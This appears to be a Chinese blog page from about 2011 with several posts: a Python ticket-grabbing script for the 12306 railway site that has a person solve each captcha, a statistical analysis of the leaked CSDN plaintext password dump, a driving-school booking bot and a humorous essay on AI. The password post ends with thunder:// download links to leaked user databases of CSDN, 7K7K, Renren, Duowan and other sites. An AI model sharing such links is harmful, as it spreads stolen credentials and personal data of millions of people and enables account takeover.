RSS
 

12306 火车票人肉验证码刷票脚本

08

虽然猪在飞是不用买火车票回家的,但是它很喜欢凑热闹。
本来早就想搞个全自动的刷票脚本的,但是12306的网站实在是太不给力了,峰哥说此网站是铁道部信息技术中心 中国铁道科学研究院 50多个人半年的心血的结晶,我只能说这个神奇的网站真是个奇迹。
验证码这个是个麻烦,本来想搞个OCR识别的。我就试过Leptonica的Tesseract引擎,发现识别率挺低的,机器学习神马的我又搞不定。只能弄个人肉打码的脚本了。烂网站让我实在没有兴趣搞个健壮的脚本来让非程序猿用得顺手些,程序猿自己写的肯定比这个好,也就当抛砖引玉吧。
一共分三部 登录、获取token、提交订票表单,第一步和第三步有验证码,脚本运行的目录下面能把验证码图片抓回来,由于是50多个人半年的心血的结晶,所以:
第一步预计您要输入个几十次才能登录得上,验证码图片每次自动刷新,不断输入验证码就应该能登陆上。
第二步获取个token,因为最后的确认表单有服务端的重复提交验证,所以提交表单前需要抓一个token,一起提交。这一步挺好的,获得token基本上不失败,它是自动的不用人干预。
第三步token和订票数据一起提交给接口,理论上你就不断尝试提交就好了,每次都会取回新的验证码,由于是50多个人半年的心血的结晶,偶尔订上了也没有回显成功。你浏览器打开后台看一眼就能确认,要是不成功就一直输入验证码吧。

最好提前运行脚本开刷,并且打卡IE登录到后台,要不订上了,不能支付就惨了。

?Download hcp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python
#coding=utf8
import urllib,urllib2,httplib,cookielib,os
import random
import re
IMGPATH = ""
def saveValidateCode(bin,path):
    print path
    f = open(path,"wb")
    f.write(bin)
    f.close()
 
def main(codeurl,loginurl):
    request=urllib2.Request(codeurl)
    opener=urllib2.build_opener(cj)
    is_login = False
    while is_login == False:
        c = opener.open(request)
        bincontent= c.read()
        saveValidateCode(bincontent,IMGPATH.join(["1.jpg"]))
        print '请输入登录验证码'
        imgcode=raw_input()
        usedata = {'loginUser.user_name':'你的用户名','user.password':'你的密码','randCode':imgcode}#输入登录表单字段
        loginrequest=urllib2.Request(loginurl)
        c = opener.open(loginrequest,urllib.urlencode(usedata))#登录
        bincontent = c.read()
        if "猪在飞" in bincontent:
            print "登录成功"
            is_login = True
 
def get_token():
    try:
        opener=urllib2.build_opener(cj)
        query = {'arrive_time':'17:59',
                        'from_station_name':'北京西',
                        'from_station_telecode':'BXP',
                        'orderRequest.from_station_name':'北京西',
                        'include_student':'00',
                        'lishi':'39:19',
                        'round_start_time_str':'00:00--24:00',
                        'round_train_date':'2012-01-08',
                        'seattype_num':'',
                        'single_round_type':'1',
                        'start_time_str':'00:00--24:00',
                        'station_train_code':'L21',
                        'to_station_name':'成都',
                        'to_station_telecode':'CDW',
                        'to_station_telecode_name':'成都',
                        'train_class_arr':'QB#D#Z#T#K#QT#',
                        'train_date':'2012-01-10',
                        'train_pass_type':'QB',
                        'train_start_time':'02:40',
                        'trainno':'2400000L2144',
                        'ypInfoDetail':'102040000030378000001020403554'}
 
        loginrequest=urllib2.Request('https://dynamic.12306.cn/otsweb/order/querySingleAction.do?method=submutOrderRequest')
        c = opener.open(loginrequest,urllib.urlencode(query))#登录
        bincontent = c.read()
        token, = re.findall( '''<input type="hidden" name="org\.apache\.struts\.taglib\.html\.TOKEN" value="([^"]+)">''', bincontent)
        return token
    except:
        return ''
 
def submit_myticket(codeurl,loginurl):
    is_success = False
    while is_success == False:
        token = ''
        while token == '':
            token = get_token()
        opener=urllib2.build_opener(cj)
        request=urllib2.Request(codeurl)
        c = opener.open(request)
        bincontent= c.read()
        saveValidateCode(bincontent,IMGPATH.join(["1.jpg"]))
        print '请输入买票验证码'
        imgcode=raw_input()
 
        usedata = {'checkbox0':'0',
                   'checkbox9':'Y',
                   'checkbox9':'Y',
                   'oldPassengers':'猪在飞,1,51070419840402XXXX',#身份证号
                   'orderRequest.bed_level_order_num':'000000000000000000000000000000',
                   'orderRequest.cancel_flag':'1',
                   'orderRequest.end_time':'17:59',
                   'orderRequest.from_station_name':'北京西',
                   'orderRequest.from_station_telecode':'BXP',
                   'orderRequest.id_mode':'Y',
                   'orderRequest.reserve_flag':'A',
                   'orderRequest.seat_type_code':'',
                   'orderRequest.start_time':'02:40',
                   'orderRequest.station_train_code':'L21',
                   'orderRequest.ticket_type_order_num':'',
                   'orderRequest.to_station_name':'成都',
                   'orderRequest.to_station_telecode':'CDW',
                   'orderRequest.train_date':'2012-01-10',
                   'orderRequest.train_no':'2400000L2144',
                   'org.apache.struts.taglib.html.TOKEN':token,
                   'passengerTickets':'1,1,猪在飞,1,51070419840402XXXX,1358XXXXX81,Y',
                   'passenger_1_cardno':'51070419840402XXXX',
                   'passenger_1_cardtype':'1',
                    'passenger_1_mobileno':'1358XXXXX81',
                    'passenger_1_name':'猪在飞',
                    'passenger_1_seat':'1',
                    'passenger_1_ticket':'1',
                    'textfield':'中文或拼音首字母',
                   'randCode':imgcode}
 
        loginrequest=urllib2.Request(loginurl)
        c = opener.open(loginrequest,urllib.urlencode(usedata))
        bincontent = c.read()
        if "席位已成功锁定" in bincontent:
            print "不好意思,订票可耻得成功鸟!"
            is_success = True
 
 
if __name__ == '__main__':
    cookie=cookielib.CookieJar()
    cj=urllib2.HTTPCookieProcessor(cookie)
    main('https://dynamic.12306.cn/otsweb/passCodeAction.do?rand=lrand','https://dynamic.12306.cn/otsweb/loginAction.do?method=login')
    submit_myticket('https://dynamic.12306.cn/otsweb/passCodeAction.do?rand=randp','https://dynamic.12306.cn/otsweb/order/confirmPassengerAction.do?method=confirmPassengerInfoSingle')
 
 

我对CSDN密码泄漏事件的一些数据分析

22 十二

近日,有人在网上放出CSDN 600多万的用户id、明文密码、邮箱。单从此次大量密码泄漏事件上看来,可以得出国内互联网的从业人员无良的太多的结论,因为明文保存用户密码的行为是所有人士都愤慨的。从后续的消息看,包括多玩网、天涯 、开心网、人人网、猫扑、世纪佳缘、7K7K、178游戏网、嘟嘟牛 百合 YY IS CNZZ 51CTO 世纪家园 珍爱网 美空等网站的数据库陆续被放出,我觉得此此事件未必是单纯的黑客入侵这么简单。

最近闹的沸沸扬扬的微薄实名认证,在政府干预下得以开始推行。把虚拟的世界和现实的世界联系起来,会有很多问题,牵扯到各方敏感的神经。推行互联网实名制一直都是雷声大雨点小,所有人都觉得这事在中国搞不成,但是事实上的内容审核和用户信息的监听收集分析,一直都在发生,但你我平时很难察觉到的。

国际上看,类似事件有先例的是韩国,自2007年起,韩国所有超过10万用户的论坛、网站均需要实名验证,官方企图以此来遏制网络攻击、论坛谣言等等情况。这和我国现在的情况有点类似。

但在前不久韩国某著名门户网站遭到黑客袭击,造成3500万名用户信息泄漏,规模空前。被泄漏的信息包括未经加密的用户名、用户姓名、电话号码、电子邮件和经加密的密码、身份证号码等。于是乎,为了减少在因特网上非法搜集个人信息的行为,韩国政府决定分阶段废除因特网实名制,这意味着韩国以“网络实名制”来对抗网络攻击的规定宣告失败。这也算是前车之鉴。

在我国实名制即将试点的前夕,大量的用户信息的泄漏,是什么意思就不言而喻了。但这压力来源与内部?反对互联网审查人士?境外势力?不得而知!

我下载密码文件分析了一下,从技术层面上挖一挖数据吧。在总共的642w+条记录中
一、什么口令最多人用?弱口令排名:top 100
密码 :数量
{u’_id’: u’123456789′, u’value’: 235032.0}
{u’_id’: u’12345678′, u’value’: 212751.0}
{u’_id’: u’11111111′, u’value’: 76346.0}
{u’_id’: u’dearbook’, u’value’: 46053.0}
{u’_id’: u’00000000′, u’value’: 34952.0}
{u’_id’: u’123123123′, u’value’: 19986.0}
{u’_id’: u’1234567890′, u’value’: 17791.0}
{u’_id’: u’88888888′, u’value’: 15033.0}
{u’_id’: u’111111111′, u’value’: 6995.0}
{u’_id’: u’147258369′, u’value’: 5966.0}
{u’_id’: u’987654321′, u’value’: 5553.0}
{u’_id’: u’aaaaaaaa’, u’value’: 5460.0}
{u’_id’: u’1111111111′, u’value’: 5145.0}
{u’_id’: u’66666666′, u’value’: 5025.0}
{u’_id’: u’a123456789′, u’value’: 4435.0}
{u’_id’: u’11223344′, u’value’: 4096.0}
{u’_id’: u’1qaz2wsx’, u’value’: 3667.0}
{u’_id’: u’xiazhili’, u’value’: 3649.0}
{u’_id’: u’789456123′, u’value’: 3610.0}
{u’_id’: u’password’, u’value’: 3501.0}
{u’_id’: u’87654321′, u’value’: 3281.0}
{u’_id’: u’qqqqqqqq’, u’value’: 3277.0}
{u’_id’: u’000000000′, u’value’: 3175.0}
{u’_id’: u’qwertyuiop’, u’value’: 3143.0}
{u’_id’: u’qq123456′, u’value’: 3094.0}
{u’_id’: u’iloveyou’, u’value’: 3080.0}
{u’_id’: u’31415926′, u’value’: 3061.0}
{u’_id’: u’12344321′, u’value’: 2985.0}
{u’_id’: u’0000000000′, u’value’: 2886.0}
{u’_id’: u’asdfghjkl’, u’value’: 2826.0}
{u’_id’: u’1q2w3e4r’, u’value’: 2797.0}
{u’_id’: u’123456abc’, u’value’: 2580.0}
{u’_id’: u’0123456789′, u’value’: 2578.0}
{u’_id’: u’123654789′, u’value’: 2573.0}
{u’_id’: u’12121212′, u’value’: 2540.0}
{u’_id’: u’qazwsxedc’, u’value’: 2515.0}
{u’_id’: u’abcd1234′, u’value’: 2396.0}
{u’_id’: u’12341234′, u’value’: 2380.0}
{u’_id’: u’110110110′, u’value’: 2348.0}
{u’_id’: u’asdasdasd’, u’value’: 2298.0}
{u’_id’: u’22222222′, u’value’: 2243.0}
{u’_id’: u’123321123′, u’value’: 2166.0}
{u’_id’: u’abc123456′, u’value’: 2160.0}
{u’_id’: u’123456′, u’value’: 2141.0}
{u’_id’: u’a12345678′, u’value’: 2138.0}
{u’_id’: u’123456123′, u’value’: 2113.0}
{u’_id’: u’a1234567′, u’value’: 2106.0}
{u’_id’: u’1234qwer’, u’value’: 2100.0}
{u’_id’: u’qwertyui’, u’value’: 1989.0}
{u’_id’: u’123456789a’, u’value’: 1986.0}
{u’_id’: u’aa123456′, u’value’: 1971.0}
{u’_id’: u’asdfasdf’, u’value’: 1918.0}
{u’_id’: u’99999999′, u’value’: 1891.0}
{u’_id’: u’123456aa’, u’value’: 1859.0}
{u’_id’: u’999999999′, u’value’: 1859.0}
{u’_id’: u’123456123456′, u’value’: 1854.0}
{u’_id’: u’520520520′, u’value’: 1699.0}
{u’_id’: u’963852741′, u’value’: 1656.0}
{u’_id’: u’55555555′, u’value’: 1652.0}
{u’_id’: u’741852963′, u’value’: 1652.0}
{u’_id’: u’33333333′, u’value’: 1589.0}
{u’_id’: u’qwer1234′, u’value’: 1480.0}
{u’_id’: u’asd123456′, u’value’: 1384.0}
{u’_id’: u’77777777′, u’value’: 1339.0}
{u’_id’: u’qweasdzxc’, u’value’: 1316.0}
{u’_id’: u’code8925′, u’value’: 1285.0}
{u’_id’: u’11112222′, u’value’: 1273.0}
{u’_id’: u’ms0083jxj’, u’value’: 1268.0}
{u’_id’: u’zzzzzzzz’, u’value’: 1245.0}
{u’_id’: u’111222333′, u’value’: 1214.0}
{u’_id’: u’qweqweqwe’, u’value’: 1206.0}
{u’_id’: u’3.1415926′, u’value’: 1200.0}
{u’_id’: u’123456qq’, u’value’: 1183.0}
{u’_id’: u’147852369′, u’value’: 1148.0}
{u’_id’: u’521521521′, u’value’: 1136.0}
{u’_id’: u’asdf1234′, u’value’: 1121.0}
{u’_id’: u’123698745′, u’value’: 1111.0}
{u’_id’: u’1123581321′, u’value’: 1109.0}
{u’_id’: u’asdfghjk’, u’value’: 1058.0}
{u’_id’: u’q1w2e3r4′, u’value’: 1054.0}
{u’_id’: u’12345678a’, u’value’: 1038.0}
{u’_id’: u’woaini1314′, u’value’: 1003.0}
{u’_id’: u’1234abcd’, u’value’: 991.0}
{u’_id’: u’123qweasd’, u’value’: 988.0}
{u’_id’: u’1qazxsw2′, u’value’: 975.0}
{u’_id’: u’woaiwojia’, u’value’: 967.0}
{u’_id’: u’321321321′, u’value’: 920.0}
{u’_id’: u’05962514787′, u’value’: 910.0}
{u’_id’: u’123456987′, u’value’: 894.0}
{u’_id’: u’kingcom5′, u’value’: 892.0}
{u’_id’: u’5845201314′, u’value’: 882.0}
{u’_id’: u’zxcvbnm123′, u’value’: 882.0}
{u’_id’: u’0987654321′, u’value’: 853.0}
{u’_id’: u’wwwwwwww’, u’value’: 847.0}
{u’_id’: u’11111111111111111111′, u’value’: 835.0}
{u’_id’: u’12345600′, u’value’: 805.0}
{u’_id’: u’11235813′, u’value’: 783.0}
{u’_id’: u’1q2w3e4r5t’, u’value’: 777.0}
{u’_id’: u’10101010′, u’value’: 772.0}
{u’_id’: u’123456asd’, u’value’: 770.0}

123456789,11111111及其衍生版本占据了所有用户的8%还多,人类已经没有想象力了吗?dearbook肯定是某网站在某次活动中注册马甲,这种行销手法俗称“水军”。

二、技术宅都爱用哪家的邮箱?邮箱服务商排名top 100
服务商:数量
{u’_id’: u’qq.com’, u’value’: 1909275.0}
{u’_id’: u’163.com’, u’value’: 1740875.0}
{u’_id’: u’126.com’, u’value’: 796352.0}
{u’_id’: u’sina.com’, u’value’: 348516.0}
{u’_id’: u’yahoo.com.cn’, u’value’: 203271.0}
{u’_id’: u’hotmail.com’, u’value’: 200272.0}
{u’_id’: u’gmail.com’, u’value’: 185131.0}
{u’_id’: u’sohu.com’, u’value’: 103293.0}
{u’_id’: u’yahoo.cn’, u’value’: 86102.0}
{u’_id’: u’tom.com’, u’value’: 71082.0}
{u’_id’: u’yeah.net’, u’value’: 52793.0}
{u’_id’: u’21cn.com’, u’value’: 49929.0}
{u’_id’: u’QQ.COM’, u’value’: 38003.0}
{u’_id’: u’vip.qq.com’, u’value’: 34869.0}
{u’_id’: u’139.com’, u’value’: 28219.0}
{u’_id’: u’163.COM’, u’value’: 25966.0}
{u’_id’: u’QQ.com’, u’value’: 25654.0}
{u’_id’: u’263.net’, u’value’: 24576.0}
{u’_id’: u’sina.com.cn’, u’value’: 18967.0}
{u’_id’: u’live.cn’, u’value’: 18657.0}
{u’_id’: u’sina.cn’, u’value’: 18524.0}
{u’_id’: u’yahoo.com’, u’value’: 18251.0}
{u’_id’: u’foxmail.com’, u’value’: 16210.0}
{u’_id’: u’163.net’, u’value’: 15042.0}
{u’_id’: u’msn.com’, u’value’: 14024.0}
{u’_id’: u’eyou.com’, u’value’: 13240.0}
{u’_id’: u’126.COM’, u’value’: 11521.0}
{u’_id’: u’yahoo.com.tw’, u’value’: 10719.0}
{u’_id’: u’huiseo.cn’, u’value’: 8493.0}
{u’_id’: u’csoftmail.cn’, u’value’: 7121.0}
{u’_id’: u’citiz.net’, u’value’: 6549.0}
{u’_id’: u’vip.sina.com’, u’value’: 5334.0}
{u’_id’: u’189.cn’, u’value’: 4818.0}
{u’_id’: u’etang.com’, u’value’: 4212.0}
{u’_id’: u’chinaren.com’, u’value’: 3914.0}
{u’_id’: u’yahoo.com.hk’, u’value’: 3858.0}
{u’_id’: u’neusoft.com’, u’value’: 2926.0}
{u’_id’: u’wormsoft.cn’, u’value’: 2780.0}
{u’_id’: u’SINA.COM’, u’value’: 2618.0}
{u’_id’: u’bdqnok-cp.com.cn’, u’value’: 2551.0}
{u’_id’: u’sogou.com’, u’value’: 2545.0}
{u’_id’: u’live.com’, u’value’: 2492.0}
{u’_id’: u’qq.COM’, u’value’: 2408.0}
{u’_id’: u’mail.china.com’, u’value’: 2155.0}
{u’_id’: u’china.com’, u’value’: 2142.0}
{u’_id’: u’mail.ustc.edu.cn’, u’value’: 2035.0}
{u’_id’: u’huawei.com’, u’value’: 1911.0}
{u’_id’: u’sjtu.edu.cn’, u’value’: 1873.0}
{u’_id’: u’vip.163.com’, u’value’: 1834.0}
{u’_id’: u’371.net’, u’value’: 1789.0}
{u’_id’: u’10pig.com.cn’, u’value’: 1782.0}
{u’_id’: u’YAHOO.COM.CN’, u’value’: 1719.0}
{u’_id’: u’zte.com.cn’, u’value’: 1663.0}
{u’_id’: u’cp-bdqnok.com.cn’, u’value’: 1632.0}
{u’_id’: u’company-mail.cn’, u’value’: 1555.0}
{u’_id’: u’msn.cn’, u’value’: 1492.0}
{u’_id’: u’netease.com’, u’value’: 1476.0}
{u’_id’: u’HOTMAIL.COM’, u’value’: 1473.0}
{u’_id’: u’uggsrock.com’, u’value’: 1363.0}
{u’_id’: u’bjtu.edu.cn’, u’value’: 1322.0}
{u’_id’: u’hotmail.com.tw’, u’value’: 1312.0}
{u’_id’: u’owlpic.com’, u’value’: 1277.0}
{u’_id’: u’siteposter.net’, u’value’: 1275.0}
{u’_id’: u’SOHU.COM’, u’value’: 1246.0}
{u’_id’: u’2008.sina.com’, u’value’: 1171.0}
{u’_id’: u’elong.com’, u’value’: 1154.0}
{u’_id’: u’TOM.COM’, u’value’: 1055.0}
{u’_id’: u’yahoo.co.jp’, u’value’: 1048.0}
{u’_id’: u’x263.net’, u’value’: 1039.0}
{u’_id’: u’chongseo.com’, u’value’: 1033.0}
{u’_id’: u’bofthew.com’, u’value’: 1022.0}
{u’_id’: u’Hotmail.com’, u’value’: 997.0}
{u’_id’: u’tyldd.com’, u’value’: 992.0}
{u’_id’: u’139.COM’, u’value’: 984.0}
{u’_id’: u’fudan.edu.cn’, u’value’: 981.0}
{u’_id’: u’marketnet.com.cn’, u’value’: 963.0}
{u’_id’: u’newline.net.cn’, u’value’: 955.0}
{u’_id’: u’stu.xjtu.edu.cn’, u’value’: 929.0}
{u’_id’: u’online.sh.cn’, u’value’: 921.0}
{u’_id’: u’msa.hinet.net’, u’value’: 920.0}
{u’_id’: u’zju.edu.cn’, u’value’: 872.0}
{u’_id’: u’king.com’, u’value’: 870.0}
{u’_id’: u’Gmail.com’, u’value’: 854.0}
{u’_id’: u’cmmail.com’, u’value’: 836.0}
{u’_id’: u’56.com’, u’value’: 827.0}
{u’_id’: u’cpok-bdqn.com.cn’, u’value’: 818.0}
{u’_id’: u’123.com’, u’value’: 801.0}
{u’_id’: u’china.com.cn’, u’value’: 796.0}
{u’_id’: u’zj.com’, u’value’: 794.0}
{u’_id’: u’fm365.com’, u’value’: 759.0}
{u’_id’: u’71mail.com.cn’, u’value’: 751.0}
{u’_id’: u’avl.com.cn’, u’value’: 740.0}
{u’_id’: u’bdqncpok.com.cn’, u’value’: 720.0}
{u’_id’: u’mails.tsinghua.edu.cn’, u’value’: 718.0}
{u’_id’: u’21CN.COM’, u’value’: 694.0}
{u’_id’: u’GMAIL.COM’, u’value’: 691.0}
{u’_id’: u’bit.edu.cn’, u’value’: 691.0}
{u’_id’: u’Qq.com’, u’value’: 656.0}
{u’_id’: u’mail.nankai.edu.cn’, u’value’: 638.0}
{u’_id’: u’lzu.cn’, u’value’: 616.0}

用网易126 163 邮箱加起来比企鹅数目还多,可以看出技术宅还是懒得翻墙,凑合过就算了。gmail这么少?我想象中它在民工圈子里不应该被冷落啊?hotmail 163.net yahoo.com.cn一般都是老IT民工用的。要招经验充足的程序猿或者CTO,可以给gmail、163.net 、hotmail的老家伙们群发邮件,肯定是经验与技术齐飞,秋水共长清一色的。。。大学上看:表扬下中科大、上海交大、北京交大、复旦大学的老师和同学们,你们好样的!

三、程序猿的QQ都是几位的呀?QQ位数排名(qq.com)190w+数据 top 10
{u’_id’: u’9′, u’value’: 1366929.0}
{u’_id’: u’10′, u’value’: 220995.0}
{u’_id’: u’8′, u’value’: 158465.0}
{u’_id’: u’7′, u’value’: 45912.0}
{u’_id’: u’6′, u’value’: 24186.0}
{u’_id’: u’11′, u’value’: 19308.0}
{u’_id’: u’13′, u’value’: 18749.0}
{u’_id’: u’12′, u’value’: 16294.0}
程序猿9位QQ的多啊,我的排名第三

四、多少猿用生日当密码开头的? 52W+
{u’_id’: u’t', u’value’: 527949.0}

五、纯数字密码比例?48%
{u’_id’: u’t', u’value’: 2893853.0}

ps:附下载链接
7K7K 2000W数据库

thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0LzdrN2syMDAw5LiHXzIwNDcucmFyP2ZpZD1iYXhLQ2

sqeEtzWW9tUUVUSHBFS0x2ZjJGR2pBYmlNTUFBQUFBSzlqWEhHZXBQNFYwV09obHRhR2hqaGlheEJTJm1pZD02NjYmdG

hyZXNob2xkPTE1MCZ0aWQ9MkE3OTNGNDU0MkREOTY2OEQyNDA4NTg1MUNGOUJGNDgmc3JjaWQ9MTEyJnZlcm5vPTFaWg

==/

嘟嘟牛__66277

thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0L+WYn+WYn+eJm182NjI3Ny5yYXI/ZmlkPURMaUdZUG

4tUFh6VzhDZFhDS2h6SkF6cUVCd2wwTm9NQUFBQUFLVzdBUjdJVGdGRjFLWERHVTBnWlU2T3BoZUUmbWlkPTY2NiZ0aH

Jlc2hvbGQ9MTUwJnRpZD1DRTM2NjMyMDczRTBENTk2QjM0RTM1MzZENzQyNUY4RiZzcmNpZD0xMTImdmVybm89MVpa
178游戏网

thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0LzE3OCgxMDAwdylfMzA4Ny5yYXI/ZmlkPVBNWnN4V3

puelNNUUxYeC1sRXpNNFd1eE5Hei1HM2dHQUFBQUFDNUZHU0ZBcWxrYmxjUS04WkNGM01ySmJZTkQmbWlkPTY2NiZ0aH

Jlc2hvbGQ9MTUwJnRpZD1BQkUzOEY5MDYyNUZCNTM4QzFDOUNGRjY0RTZDNzIwMCZzcmNpZD0xMTImdmVybm89MVpa

多玩网__800W

thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0L+WkmueOqee9kV84MDBXLnJhcj9maWQ9Nnl0MGh4c3

ZLeURWZkt4UzZ4anRNQTQ5dGNFN2ZJNE5BQUFBQUd0MTE4bUppaXlmQUIqd2FCRyprZUlPcC1hTCZtaWQ9NjY2JnRocm

VzaG9sZD0xNTAmdGlkPTY3MEVDNDkzRTI3NjU4RkM1NDA0NzJEQTI4MUZCODM3JnNyY2lkPTExMiZ2ZXJubz0xWlo=

猫1000W

thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0L+eMqzEwMDBXXzgyMjgucmFyP2ZpZD1DRVBMKmIzZ0

93Y0dXTERHT0NCc2FxazJJcDhqR3I4RkFBQUFBTC04WmpRZGRpeG9iZkp0aTQqellzVURTU1I4Jm1pZD02NjYmdGhyZX

Nob2xkPTE1MCZ0aWQ9MkI3QkMwMzg1QzlGN0E4MjY1NUZEQTEwQkMzMDE4MDQmc3JjaWQ9MTEyJnZlcm5vPTFaWg==

人人网500W

thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0L+S6uuS6uue9kTUwMFdfMTY2MTAucmFyP2ZpZD1JbX

AxTUNHSlB5NDJob1dIclQzaENkKnoqOFJMLWhnREFBQUFBSHpXUDJHclNmUmJFSCo3V2tkcmhNTk5kcjVzJm1pZD02Nj

YmdGhyZXNob2xkPTE1MCZ0aWQ9RDIxOEMyQUYxMDY0MkI5MDlGQTc1NjkyQzQ0RkI0MTgmc3JjaWQ9MTEyJnZlcm5vPT

FaWg==

CSDN-中文IT社区-600万

thunder://QUFodHRwOi8vMTE5LjE0Ny4xNTAuMzcvZG93bl9ncm91cDE4MC9NMDAvMDgvN0YvZDVPV0pVNmxqMGtBQU

FBQUJvMlc2VmxvVlVJNDU2NzY0NS9DU0ROLSVFNCVCOCVBRCVFNiU5NiU4N0lUJUU3JUE0JUJFJUU1JThDJUJBLTYwMC

VFNCVCOCU4Ny5yYXI/az1XckRwZ1RxaHVZcXU1YTlwYXhKWlhRJnQ9MTMyNDMyMzEzNiZ1PTExOC4xMTYuOTQuMjE0QD

IyOTY2NTJAZG44MW5od24mZmlsZT1DU0ROLSVFNCVCOCVBRCVFNiU5NiU4N0lUJUU3JUE0JUJFJUU1JThDJUJBLTYwMC

VFNCVCOCU4Ny5yYXJaWg==

 
 

公交驾校自动约车脚本

17 十二

上次让 @Devide 帮忙推荐驾校,他说东方时尚的比较好,于是我就选择了公交驾校。因为就驾驶的专业程度上看,一般的人都认为公交肯定比发廊教的好。他说最难的就是约车了,能在有限的抢购时间内约上车的难度直逼淘宝秒杀,于是便有此文。
这网站连个验证码都木有,技术含量基本上等于没有。

?Download gjjx.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#-*- coding:UTF-8 -*-
import urllib,urllib2,cookielib
import re
import datetime
 
class Loginjx:
   #伪装browser
    header = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'}
    username = ''
    passwd = ''
    cookie = None #cookie对象
    cookiefile = './cookies.dat' #cookie临时存放地
    user = ''
 
    def __init__(self,username,passwd):
        self.username = username
        self.passwd = passwd
        #cookie设置
        self.cookie = cookielib.LWPCookieJar() #自定义cookie存放
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
        urllib2.install_opener(opener)
 
   #登陆
    def login(self):       
 
        #请求参数设置
        postdata = {
            'username':self.username,
            'password':self.passwd,
            'cookietime':2592000,
            'dosubmit':'登录',
            'forward':''
            }
        postdata = urllib.urlencode(postdata)
 
        #发起请求
        req = urllib2.Request(
                url='http://www.gjjx.com.cn/index.php?m=member&amp;c=index&amp;a=login',
                data= postdata,#请求数据
                headers = self.header #请求头
            )
 
        result = urllib2.urlopen(req).read()
        result = str(result)
        self.user = self.username
 
        self.cookie.save(self.cookiefile)#保存cookie
 
        if '登陆成功' in result:
            print("%s 你已成功登陆。---------\n" %(self.user))
            flag = True
        else:
            print("%s 登陆可耻的失败鸟")
            flag = False
 
        return flag
 
    def get_uid(self):
        uid_url = urllib2.Request(
                url='http://www.gjjx.com.cn/index.php?m=member&amp;c=index&amp;a=appointment',
                headers = self.header
            )
        auth = urllib2.urlopen(uid_url).read()
        result = str(auth)
        uid = re.findall( '''学员证号<span>(\d+)</span>''', result)
        return uid[0]
 
    def order_class(self,uid="61394720",yyrq="25-DEC-11",sd="5",cnbh="32220",traint="2"):
        base_url = "http://www.gjjx.com.cn/index.php?m=member&amp;c=index&amp;a=bpk&amp;"
        query_param = "id=%s&amp;yyrq=%s&amp;sd=%s&amp;cnbh=%s&amp;traint=%s" % (uid,yyrq,sd,cnbh,traint)
        print base_url + query_param
        uid_url = urllib2.Request(
                url= (base_url + query_param),
                headers = self.header
            )
        auth = urllib2.urlopen(uid_url).read()
        result = str(auth)
        if "过期" in result:
            return "timeout"
        elif "成功" in result:
            return "ok"
        elif "同一车时不能重复预约" in result:
            return "ok"
        else:
            return "failed"
 
print("Requesting......")
#用户名密码
login = Loginjx('username','password')
#时段 5 - 07:00--12:00 6 - 13:00--18:00
sd = "5"
#场内编号
cnbh = "32221"
#预约日期
order_date = '2011-12-25'
yyrq = datetime.datetime.strptime(order_date,'%Y-%m-%d').strftime('%d-%b-%y').upper();
#yyrq="25-DEC-11"
#科目类别 0 桩训 2 模拟 ....
traint="2"
 
flag = False
order_ok = False
 
while flag == False:
    flag = login.login()
    if flag:
        uid = login.get_uid()
        while order_ok == False:
            result = login.order_class(uid=uid,yyrq=yyrq,sd=sd,cnbh=cnbh,traint=traint)
            if result == "timeout":
                print("超时!重新登录!")
                flag = False
                order_ok = False
            elif result == "failed":
                print("正在不断尝试")
                pass
            else:
                order_ok = True
                flag = True
                print("不小心成约车功了!!")
 
No Comments

Posted in Python

 

聪明的人类被机器玩

28 十一

十几年前话说:“互联网上,没有人知道你是一条狗。”相对这句话,我更喜欢:”我见过的人越多,我越喜欢狗“。

小狗上网,以当今科技发展速度来考量,还是让人匪夷所思的。但是对于人工智能(Artificial Intelligence)我是略懂的。让计算机模拟人类的行为和智能,经过这么多年的研究,的确取得了很大的进展,无论是当年18M公司“更深的蓝”,一血前耻调戏前国际围棋冠军卡斯帕罗夫成功,还是水果公司的Sari活活骂死Jobs,亦或是艾萨克 · 阿西莫夫我· 机器人》那个八大纪律三项注意。我始终还是觉得电脑是弱势群体的,偶尔去机房,看着7*24不休息的服务器,投去了同情的目光。但是突然有一天,我莫名感觉人类被羞辱和愚弄了。

siri面世前,某公司开发出一款类似的APP产品。就是把人类的语言,仅限中文啊!它帮你转为文字,识别率6个9!!注意,无论你是北京话上海话四川话河南话安徽话扬州话浙江话郑智化水墨画。。。它都能给你翻译出来,只是延时比较明显,反倒是您将一口标准的伦敦音,它就迷茫了,我就纳闷了尼玛啥时候中国人民AI领域取得了重大突破呀?而且尼玛直接就民用了啊!后来一问,才知道这公司用的是中国人的奇思妙想,人肉听写打字。人多便宜啊,在内地随便找个地方,拉根网线,村头大喇叭通知下:“乡亲们!你们别去种地啦,和我们一起改变世界吧,1500一个月,有手不聋,不再受穷!!”。这是普通地玩人。

